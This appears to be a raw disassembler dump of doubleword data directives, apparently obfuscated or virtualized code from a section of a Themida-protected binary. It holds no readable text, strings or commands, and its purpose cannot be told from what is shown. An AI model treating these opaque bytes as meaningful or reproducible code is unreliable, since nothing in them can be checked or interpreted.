dd 0E921E585h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 6F9EDAE0h, 820F9047h
dd 0
dd 90FB8B50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 56C35242h, 0BD0911D3h, 5E91F41h, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 8FCC74C3h, 867521E9h, 66325779h, 6A4DA9BBh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 4586C9E9h, 3E55BD92h, 0DF817BEDh, 52B43AC0h, 2219D8Bh
dd 858D05E9h, 5EE150Eh, 9D035CB7h, 5E92359h, 6A05C083h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 5C0CC357h, 6BB66F3h, 9E950BCh, 29000000h
dd 0C9C318E6h, 95CDFCE8h, 6A240489h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F2BBC353h
dd 0DE7CC47Eh, 8BF4A230h, 0E9023D9Dh, 9006A05h, 0E916D98Dh
dd 60006A05h, 0CE9h, 42F67900h, 645213AFh, 4A70C56Ah, 0FD8D8B96h
dd 6105E91Dh, 0AA195FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0BA7716C3h, 871D517h
dd 8D8FCD9Eh, 0ECADBF8Dh, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 6DC74650h
dd 8B0E4619h, 1145BD89h, 0B58905E9h, 5E92445h, 0DE8AD1FFh
dd 1BDBD83h, 0F0105E9h, 5A85h, 0B1BB6600h, 6A026AE9h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 25CBC350h, 9D8BB289h, 5E93169h, 0FE8B6650h, 0F9240489h
dd 0AD95FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 2BB4D2C3h, 0E9812D4Eh, 0DB3h, 0E8h
dd 0ED815D00h, 5EE1518h, 0DCEED781h, 6A507Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89B1C5C3h
dd 0E90F5D8Dh, 4B858D05h, 2B05EC90h, 0E91EE1BDh, 10E85005h
dd 0DA000000h, 0EDF517h, 4F7FACE9h, 6957B6CDh, 5B9145CFh
dd 56240489h, 28059D31h, 0E95F05E9h, 0Eh, 6713D27Ah, 90805577h
dd 35EBC4CBh, 0FF649F2Fh, 35h, 64BEB700h, 2589h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0EFE606C3h, 8589118Ch, 5E90085h, 68985FFh, 0BF6605E9h
dd 0FF6ADBA9h, 0BD8BFE8Bh, 5E92B19h, 4BDB5FFh, 6A05E9h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0FF4559C3h, 0E907C995h, 118E905h, 0B00000h, 30D59D8Bh
dd 70E605E9h, 2820Fh, 0FB8B0000h, 3CF571E4h, 0FB830F61h
dd 0E9000000h, 13h, 8832DB04h, 4A5F5C58h, 926A5B5Bh, 6A03F11Ch
dd 0F701F8Ah, 0F98AC8B6h, 0DF816656h, 0BA5FC1F3h, 6, 0C18B5F56h
dd 0D098D89h, 0E8C105E9h, 0DEBF0F04h, 8BE2F766h, 0E903559Dh
dd 0F5C82B05h, 2850Fh, 0DA8B0000h, 8166D18Bh, 0E94BF5E7h
dd 0A2h, 7EEBC781h, 858B1ADFh, 505F4C4Ch, 0DE8h, 319D8500h
dd 0EA613DF8h, 0A636EBAFh, 890F6570h, 5, 8BE78166h, 0C0835BB5h
dd 0EE807h, 0CCFC0000h, 6BFA3B37h, 6DCF818Dh, 0C8D57C51h
dd 7E9h, 0B60ECB00h, 0FC63F092h, 0C0835Fh, 830FD03Bh, 17h
dd 6880Fh, 95890000h, 5E90771h, 39E9h, 0C59D8900h, 8B05E924h
dd 0FFFFFF8Dh, 0D18D89FFh, 8305E922h, 840F01E1h, 1Eh, 0B2C68060h
dd 0FFA58361h, 0FEFFFFFFh, 4C9589F5h, 89505F4Ch, 0E928E1BDh
dd 0E905h, 0B58D0000h, 5ED9568h, 6AFEBF0Fh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0C7240DF7h, 0FFF1A1ABh, 0E91E9595h, 52006A05h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 53C55F5Dh, 165A4139h, 0BE8h, 0BAD33100h, 0FDB7A77Bh
dd 0BEBEC7C1h, 0D55BD8Bh, 0B95B05E9h, 10C5h, 0F39B529h
dd 0E18305E9h, 0BF0F60FCh, 8C0F50F3h, 0
dd 81FC615Ah, 6A4BF7D7h, 89C02B0Ch, 0E906958Dh, 8BD22B05h
dd 0E92865BDh, 0AD4BB705h, 0E8D1C233h, 0E983D003h, 6AF47504h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0DF9CC353h, 0EB4DAD58h, 0BD8B181Ch, 5E91EF1h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h
dd 3CEABC68h, 880D1D3Dh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0E8A8C356h
dd 863ECCD5h, 0BD8BB93Ch, 5E91639h, 11F1BD8Bh, 11E905E9h
dd 13000000h, 99E72E99h, 0CD79EC8Ah, 0B0DD3B30h, 0CE8C565Dh
dd 2655958Bh, 0BD0305E9h, 5E90EA1h, 8058D8Bh, 816605E9h
dd 50470EEBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0FF5399Dh, 687h, 65B50100h, 8305E904h, 0E91CF1BDh
dd 840F0005h, 8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 24C35141h, 0E795842Eh, 816663C6h, 0B8C024EFh
dd 0
dd 0B527EF81h, 0CF807C33h, 6D8D8DD7h, 6A05E94Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 6635C355h, 0FFDC68BBh, 56006AE1h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 8CAD1167h
dd 0BC494ECFh, 952984F5h, 5E91161h, 0B96B8FBBh, 3DBD831Ch
dd 5E916h, 4A9840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0D826DCC3h, 8145B3CDh
dd 2FF9D6C7h, 3DBD8371h, 105E916h, 490840Fh, 0BD890000h
dd 5E90CCDh, 163DBD83h, 0F0305E9h, 44786h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 3CFCA92Bh, 159F7ECFh, 0F600FFFh, 68Fh, 0C1953100h, 905E904h
dd 0E90D0D95h, 0D98C6605h, 25819D8Bh, 0E18005E9h, 10E804h
dd 9A470000h, 0CB0113B4h, 19466A47h, 88DC0969h, 0BD33C9D2h
dd 5E917B9h, 0FC90A5Fh, 12B84h, 8A92BB00h, 858B6F01h, 5E92869h
dd 0E9F88B66h, 0Ah, 9B6A7AF1h, 0A1835700h, 85330219h, 5E90E61h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B2C35242h
dd 0BD8BD727h, 5E9067Dh, 0C8BCBB90h, 0B7500832h, 6A901Bh
dd 0E8F98B66h, 4, 1F03FFh, 65BAB960h, 506112F2h, 10E2BB66h
dd 424448Bh, 14E8h, 0B3CCD800h, 139E763Bh, 0B0E26F53h
dd 96609708h, 6BFCDE10h, 3830F1Fh, 66000000h, 8B5FD88Bh
dd 12E800h, 683B0000h, 71975F9Fh, 527555DAh, 4EE7CD66h
dd 3C17CB31h, 895F5B52h, 58042444h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 16C35747h, 0F5F85DC2h, 292D95FFh
dd 8D8905E9h, 5E91F71h, 0BACE8589h, 6A05ECh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 59B9F8C3h
dd 0A42D8383h, 0DD858956h, 3305E900h, 0E93241BDh, 24FE905h
dd 0DE90000h, 9000000h, 318A1C1Dh, 8CAE6F4Fh, 0F3E1E286h
dd 0BAC6858Bh, 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 27A904C3h, 26458D89h, 0EE805E9h
dd 11000000h, 6F3041EFh, 2FD7FE79h, 60B34321h, 0F0F381D2h
dd 5F423CE7h, 2F7DBD09h, 0C705E9h, 18h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 14h, 37C35747h, 305D8509h
dd 0B58B05E9h, 5ECBACAh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0E1C35040h, 7E99Eh, 0E3330000h, 395C3247h
dd 39858B44h, 6A05E92Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 2C6CC355h, 0F99D8B60h
dd 8B05E904h, 0E907718Dh, 6896105h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 26C35343h, 6057B103h, 18618D8Bh
dd 0B96605E9h, 1610283h, 0E926598Dh, 69858B05h, 8105E928h
dd 58AFD6CFh, 4468979h, 52BB96F9h, 500145CAh, 6E960h, 0A6370000h
dd 866181E7h, 61605250h, 0FE8310Fh, 32000000h, 0E356821h
dd 759A3E78h, 0EFE31BA1h, 5A5E4AA3h, 0F966158h, 68Ah, 0B99D8900h
dd 8105E917h, 483987DFh, 0C6B5FF37h, 6A05ECBAh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 6604C356h, 0B46CF81h, 8E9h, 0A934A900h, 0B6D0A4F7h
dd 4E87Ch, 3FF0000h, 3BBB001Fh, 501E5E31h, 424448Bh, 8BD88B66h
dd 95B7BF00h, 448957F1h, 0D3B70424h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD8B3A6Bh
dd 5E92D85h, 0AB55C5BBh, 0BEBF6674h, 0CE858D7Eh, 6605ECBAh
dd 8B5BCDBBh, 0E92C15BDh, 9E95005h, 2B000000h, 65B8BABEh
dd 10584CE1h, 89240489h, 0E90FD9BDh, 2D95FF05h, 6A05E929h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 29FFC352h, 0E924BD95h, 99B52905h, 0E905E92Ah
dd 5, 3DA751E6h, 0BD896106h, 5E93059h, 163D85C7h, 305E9h
dd 0C7810000h, 16DFC292h, 2DBD8960h, 6105E902h, 0BACEBD83h
dd 0F0005ECh, 4B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0FA20957h, 40E9D9B7h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 5F1BC355h, 0FE9B5F3h, 0A1959FFh
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h
dd 0E9166DB5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 3219B1EDh, 83F385CEh
dd 0E9163DBDh, 850F0305h, 3F7h, 5319BF50h, 835F21D6h, 0ECBACEBDh
dd 840F0005h, 3E3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 19C35343h, 6E8FBB1Bh, 0B5FF3BB7h, 5ECBACEh
dd 0EE8h, 0B92D300h, 532CB680h, 0FC1FE676h, 8B9872DAh
dd 95FF5FD8h, 5E92B75h, 8BF88B66h, 0ECBAC2B5h, 8C0F05h
dd 0C7000000h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 92C781EEh, 96643D73h
dd 860F6060h, 0
dd 310F5250h, 0B261585Ah, 605061EAh, 0FE8h, 0CE5E3000h
dd 0DF1934D9h, 0D24233Fh, 8AE2B9E3h, 5AD68B66h, 8E9h, 741AB400h
dd 3FACA97Bh, 6A966156h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0C9B4C357h, 0CEB5FF7Bh
dd 6A05ECBAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 5F0C353h, 655B5C74h, 89DA97A2h
dd 0E905F1BDh, 4D95FF05h, 8905E92Bh, 0E92D159Dh, 0C2B58B05h
dd 8B05ECBAh, 0DD858BDFh, 6A05E90Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BFB1C352h
dd 86896213h, 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 56C35747h, 769AB96Bh, 2655958Bh, 0BF0F05E9h
dd 4C283FAh, 508972B3h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 9D015FCFh, 5E90E3Dh, 0D055858Dh
dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 7B308DC3h, 0AC38166h, 0B88689C8h, 0E8000000h
dd 11h, 0A01FFA87h, 68EE5A29h, 8E516FD8h, 8A521152h, 8B665217h
dd 6A5F5FDEh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 62A959EFh, 9C76994Bh, 840FFEE4h
dd 3, 0FFDAB70Fh, 0ECBACEB5h, 0DA8B6605h, 24898531h, 95FF05E9h
dd 5E900ADh, 0CF6DBF66h, 10E96050h, 62000000h, 29467A25h
dd 25CFC9B0h, 0AD2E7F45h, 612C4153h, 0FF243489h, 0ECBACEB5h
dd 0F521BF05h, 95FF4090h, 5E93231h, 2835BD8Bh, 9D8B05E9h
dd 5E90405h, 2AB1BD83h, 0F0005E9h, 4884h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 50FD9420h, 61609646h, 0FE8B6650h, 55006A96h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0F3801972h
dd 0CEB5FF79h, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0FF8DC352h, 0E92F6195h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 7B73B324h, 0A1A0A75Eh, 0B5FF7ED8h, 5ECBACEh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h
dword_590368 dd 4244481h, 17h, 0F9C35545h, 0E868286Fh, 7, 0A5FED7F7h
; DATA XREF: Themida_:00546EE0o
dd 52596A70h, 2AE59D8Bh, 5F5B05E9h, 2DE9BD31h, 95FF05E9h
dd 5E92DC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 2C35747h, 83D4EB80h, 0E903FDBDh, 840F0205h, 3Dh
dd 4543D381h, 858B1674h, 5E93055h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 5DC35343h, 0F6688C38h, 9D01D8E3h
dd 5E9178Dh, 890000C6h, 0E92561BDh, 0A985C705h, 5E927h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0FD40C352h, 3B687724h, 0E9DA8B66h
dd 0FFFFF362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 93C35747h, 0C18BFB8Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0B1C35747h, 65D24C13h, 0CC7D62B3h
dd 199D2326h, 0E905E928h, 0Fh, 30B78440h, 2A5D9C45h, 3263FE6Dh
dd 8DDC4400h, 0E921E585h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 48DF0CC7h
dd 66904D27h, 6650FB8Bh, 8990DE8Bh, 0E90915BDh, 6A006A05h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0F1EC351h, 680h, 0B9BD8B00h, 2B05E927h, 0E919299Dh
dd 0E8006A05h, 0Ah, 971527E0h, 315638E7h, 9D33BDE3h, 5E91845h
dd 98858D5Bh, 0F05EE24h, 0F960DFB7h, 96C3B966h, 5C08361h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 40C35040h
dd 0F519D8Bh, 665005E9h, 89F133BFh, 6A2404h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 6F6A36C3h
dd 0F1C1213h, 830FFFBFh, 6, 28E98531h, 6A05E9h, 100D9D8Bh
dd 6A05E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 18C35141h, 55B531FCh, 0FF05E910h, 0E90AA195h, 9D31FC05h
dd 5E91D75h, 0ADBF8D8Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0CE949C3h, 82000000h
dd 73924BCDh, 2E260AC8h, 0FFED4B76h, 14E8D1h, 0FCEC0000h
dd 0DC5D8691h, 2A1A4A9Ch, 0A4E3E44h, 55B045CCh, 0B70FD013h
dd 0BD835FFBh, 5E901BDh, 4E850F01h, 0E8000000h, 10h, 0CACD9B7Dh
dd 0BDBDEAFFh, 0BC82D4E6h, 6A1A0AC4h, 0EDB58960h, 305E908h
dd 0E915F9B5h, 6A5F6105h, 0BE902h, 0AD890000h, 6A0C2474h
dd 0E5B2985Dh, 0FA8A5004h, 8B240489h, 0E91F0DBDh, 0AD95FF05h
dd 8905E900h, 0E91EB5B5h, 0CCDE905h, 0E80000h, 5D000000h
dd 24A2ED81h, 6AFC05EEh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 921FC352h, 0D5BD89FFh
dd 8D05E904h, 0EC904B85h, 11E905h, 7900000h, 0A7E527B0h
dd 597134F1h, 0F525FFCBh, 503C9573h, 89F88B66h, 6A2404h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0B0FB5C3h, 9D8B60EFh, 5E900C5h, 61C0B70Fh, 35FF64h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 7072C357h, 25896451h, 0
dd 10E8h, 0C5640300h, 314408Ah, 1B0B2B5Fh, 92ED1F5Dh, 9503BF55h
dd 0FF5B2A8Dh, 0E9068985h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 900A9AA5h
dd 29771B95h, 0EB9DBBB7h, 0FF6A3780h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 20C35747h, 66812F37h, 36F2D781h
dd 321DB5FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 13CA89C3h, 9A9349DFh, 0C995FF28h
dd 0E905E907h, 106h, 0CE9h, 82328500h, 7B4F1D7Ah, 0E66B653Ah
dd 2D7DBBBAh, 0B04219h, 1285BD23h, 70E605E9h, 6671E4F9h
dd 0BB8AEF81h, 830F613Ch, 0D6h, 3DBD8B52h, 5F05E930h, 0F8C8B60Fh
dd 3B59D2Bh, 6BA05E9h, 31000000h, 0E910A5BDh, 0C1C18B05h
dd 0F88B04E8h, 56E2F766h, 6870Fh, 0B5290000h, 5E90375h
dd 8BC82B5Bh, 0E931AD9Dh, 8BD18B05h, 0E92B159Dh, 8CE905h
dd 0EE90000h, 70000000h, 66C5D82Eh, 0ECC0D07Eh, 0AD69056Fh
dd 4C858BD4h, 83494755h, 0B4B707C0h, 4058509h, 0C08305E9h
dd 0D03BF900h, 11830Fh, 9D330000h, 5E928DDh, 51E9h, 0FD9D0100h
dd 8B05E907h, 0FFFFFF8Dh, 0F2E381FFh, 8368209Ch, 840F01E1h
dd 36h, 6D78153h, 5B6E7E81h, 0FFFFA583h, 0E9FEFFFFh, 11h
dd 4AC343F1h, 86763347h, 93A34624h, 619E5414h, 4C958985h
dd 8B494755h, 0E90B5D9Dh, 0E905h, 0B58D0000h, 5EDA62Dh
dd 12E9h, 3AA3DF00h, 60A666FDh, 0B3FE3D8Fh, 6EF1214Dh
dd 6A902867h, 95FFF500h, 5E91E95h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 7EC35343h, 0F0522747h, 382C95A3h
dd 51BD89A5h, 5705E924h, 0FE1BD2Bh, 0B95F05E9h, 100Ah
dd 26659D0Bh, 0E18305E9h, 0F4BB66FCh, 0BD8BFC08h, 5E924A5h
dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 9F7B12C3h, 99314C08h, 0DE8BA46Ch, 6AD22Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0C211A2C3h, 185893Eh, 5005E932h, 33AD5BF9h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0B0AC8CC3h, 6ADF8B66h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 61D9C351h, 0AA76BF2Eh, 32BBCA07h, 0D531CA0h, 88h, 1651BD8Bh
dd 958B05E9h, 5E92655h, 850BF560h, 5E90CE5h, 58D8B61h
dd 0E905E908h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B50C2CCh, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0ABC35242h, 0F51E3E5h, 6AD8BFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 7BA9D0C3h, 83467D8Ch, 0E91CF1BDh, 840F0005h, 80h, 8B11E781h
dd 0B81C75h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 8D8FC356h, 0F0C515Dh
dd 582h, 0D87BB00h, 8D8D60E3h, 5E94E6Dh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 19h, 45C35141h, 4EC6D899h
dd 0F18A60E2h, 0BE8h, 64CA3000h, 84627862h, 294D2BC9h
dd 6158589h, 615905E9h, 9D8BE1FFh, 5E92811h, 163DBD83h
dd 0F0005E9h, 42B84h, 3DBD8300h, 105E916h, 439840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 323942C3h, 187B9AEh, 163DBD83h, 0F0305E9h, 3D486h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 444C4DF4h, 5CC4DE68h, 8B665A0Bh, 6A60F8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F81138C3h
dd 5BA1351Dh, 10E8h, 33CB7D00h, 7FBFED3Ah, 0CB1F4BF8h
dd 318F2495h, 0FE8B51DAh, 8C0F5B5Bh, 1, 0D98C66F9h, 0E180DA8Bh
dd 0FAB70F04h, 840FC90Ah, 10Eh, 2E398D89h, 858B05E9h, 5E92869h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CAC35141h
dd 0B3745243h, 7ABB6643h, 330BB3E2h, 0E90E6185h, 0D8BF0F05h
dd 4BBF6690h, 8E95017h, 0A3000000h, 0B14738AEh, 909767F3h
dd 6ADE8Bh, 91BD8Bh, 456805E9h, 50173FEAh, 12E852h, 30FC0000h
dd 39D4F350h, 8326690Ch, 98DFDC66h, 7C1F66C4h, 7BA824BBh
dd 310F5F05h, 0C850Fh, 7E90000h, 32000000h, 0E5FC0D9h
dd 585A25C2h, 0BA243481h, 0BB1720E9h, 7BF337h, 292D95FFh
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0E8CBB5C3h, 0Ch, 2F8D01FDh, 12AA1367h, 6D08766Dh
dd 24E5BD8Bh, 895B05E9h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0B7788DC0h
dd 0E9D98B66h, 198h, 328D9D8Bh, 858B05E9h, 5ECBAC6h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 97C35545h, 66F4466Fh
dd 0C7FCFE8Bh, 1800h, 7CF38100h, 8B3D8334h, 0ECBACAB5h
dd 0F88B6605h, 2F39858Bh, 0E78105E9h, 5829AD31h, 95890689h
dd 5E9268Dh, 2869858Bh, 950105E9h, 5E912BDh, 6A044689h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 40BCC355h, 54944956h, 6EBF661Eh, 525050F2h
dd 588CBB66h, 860F310Fh, 5, 71FA24BFh, 89585A5Bh, 6A2434h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 21CF85C3h, 1EF6ADE3h, 10318D89h, 18BF05E9h, 0FF358AFEh
dd 0ECBAC6B5h, 9E805h, 50CA0000h, 5942704Dh, 60487DC6h
dd 0F68166F5h, 5F612FDEh, 0FF5BD03h, 596805E9h, 8B31EE0Ch
dd 243481D8h, 31F10FA6h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 12C35141h, 0DEA3234Ch, 29DD2A6Dh, 6850FFDh
dd 89000000h, 0E901ED9Dh, 0CE858D05h, 6A05ECBAh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 2905C356h, 0E927F1BDh, 0CE89005h, 49000000h, 2861CB1Bh
dd 4E9C001Ah, 0E99E9B18h, 0Ch, 36E8B32Bh, 9A0FDEB5h, 27739F6Ch
dd 5250505Fh, 310FCFB7h, 5ADA8B66h, 66B79058h, 292D95FFh
dd 0DA8B05E9h, 51006A61h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 8A668991h, 0BB2177A3h
dd 8166856Dh, 314702C7h, 0E92D1995h, 1952905h, 0C705E92Fh
dd 0E9163D85h, 305h, 6850F00h, 89000000h, 0E902C195h, 0B5036005h
dd 5E91701h, 61CE8B66h, 0BACEBD83h, 0F0005ECh, 5084h, 0B9BD8900h
dd 0E905E926h, 60h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0DEC35545h, 0DC99C157h, 0F1A3EF8h, 13E8DBB7h
dd 24000000h, 0BC90BBAEh, 0A108DA72h, 5D8D8F30h, 58810C51h
dd 0BD89782Fh, 5E90B5Dh, 0C30505Fh, 11440011h, 10E8C101h
dd 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 9BC35545h, 49AB6F72h, 3DBD83F9h, 305E916h
dd 385850Fh, 2BB0000h, 83349A28h, 0ECBACEBDh, 840F0005h
dd 373h, 0BE9h, 5E3C5D00h, 0C66C5322h, 6446DF6Ah, 0BACEB5FFh
dd 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 9A727CC3h, 9159D2Bh, 95FF05E9h, 5E92B75h
dd 0EE9h, 3A3A8E00h, 0C1A2770Eh, 628EA13Eh, 8B03604Ah
dd 0ECBAC2B5h, 0D9BF0F05h, 106C7h, 6A0001h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F5162DC3h
dd 0D97C35A6h, 0F47ADDAh, 68Eh, 559D8B00h, 8905E927h, 0E9283195h
dd 66609605h, 60BB38BEh, 61616160h, 84BF6650h, 0E5BB967Ah
dd 0FF54687Dh, 0ECBACEB5h, 68D0F05h, 2B000000h, 0E92AA99Dh
dd 4D95FF05h, 8B05E92Bh, 0E90395BDh, 0C2B58B05h, 6A05ECBAh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 8BAAC356h, 0E90FDD85h, 0C820F05h, 0F000000h
dd 682h, 659D8B00h, 8905E92Fh, 0C486h, 0F7816600h, 0D380527Fh
dd 55958BFFh, 6005E926h, 4B9FE081h, 958B18B6h, 5E91145h
dd 0CCBF6661h, 4C2837Ah, 0EE880B3h, 0FE000000h, 0F847F917h
dd 0C174B843h, 0FA300698h, 0A6BB5192h, 5B395EE0h, 2050895Bh
dd 6830Fh, 95890000h, 5E92ED5h, 0D055858Dh, 870F05ECh
dd 3, 52FBBF0Fh, 5E9h, 71404D00h, 895F1F8Dh, 0B886h, 758D0100h
